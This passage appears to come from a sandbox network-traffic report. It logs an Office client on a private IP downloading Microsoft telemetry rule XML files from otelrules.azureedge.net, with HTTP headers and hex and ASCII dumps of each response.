T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:16 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:16 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 3b13a0aa-201e-003f-7a6e-2a6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061516Z-17c5cb586f6r59nt4rzfbx40ys000000019000000000e0gh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:17 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:17 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061517Z-16849878b78qg9mlz11wgn0wcc00000008r0000000008qsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:17 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:17 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:17 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061517Z-16849878b78xblwksrnkakc08w00000008bg00000000btsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:17 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:17 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:17 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:17 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061517Z-16849878b786fl7gm2qg4r5y7000000009dg000000008cff x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:17 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:17 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:17 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:17 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061517Z-16849878b78wc6ln1zsrz6q9w800000008qg00000000kubn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:17 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:17 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:17 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 97090380-701e-0032-52b4-2aa540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061517Z-16849878b787wpl5wqkt5731b400000009tg00000000kt0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:17 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:17 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:18 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:18 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: a349b1bc-a01e-0021-20bc-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061518Z-159b85dff8f2qnk7hC1DFWwb2400000001r000000000bdrw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:18 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:18 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:18 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:18 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 9667aa6f-a01e-0084-5bc4-2a9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061518Z-159b85dff8f7svrvhC1DFWth2s000000013g0000000019nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:18 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:18 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:18 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061518Z-16849878b78q9m8bqvwuva4svc00000007k000000000k7d9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:18 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:18 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:18 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061518Z-16849878b78bcpfn2qf7sm6hsn0000000av00000000016vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:18 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:18 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:18 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 8f4dae4f-901e-008f-19cb-2767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061518Z-17c5cb586f6hn8cl90dxzu28kw00000009cg000000006azz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:18 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:18 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:18 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061518Z-16849878b78sx229w7g7at4nkg00000007ag00000000e3qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
